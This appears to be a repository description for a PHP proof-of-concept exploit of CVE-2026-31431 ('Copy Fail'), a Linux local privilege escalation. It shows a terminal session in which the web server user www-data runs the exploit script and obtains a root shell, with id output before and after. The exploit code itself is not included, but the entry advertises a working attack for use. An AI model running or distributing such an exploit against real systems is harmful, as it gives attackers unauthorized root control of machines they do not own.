martinpham/copy-fail-cve-2026-31431-phpProof-of-concept exploit for CVE-2026-31431 (Copy Fail) in PHP, demonstrating privilege escalation to root on vulnerable systems.
www-data@jumpbox:~/home$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@jumpbox:~/home$ uname -a
Linux testbox 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
www-data@jumpbox:~/home$ php CVE-2026-31431.php
# id
uid=0(root) gid=33(www-data) groups=33(www-data)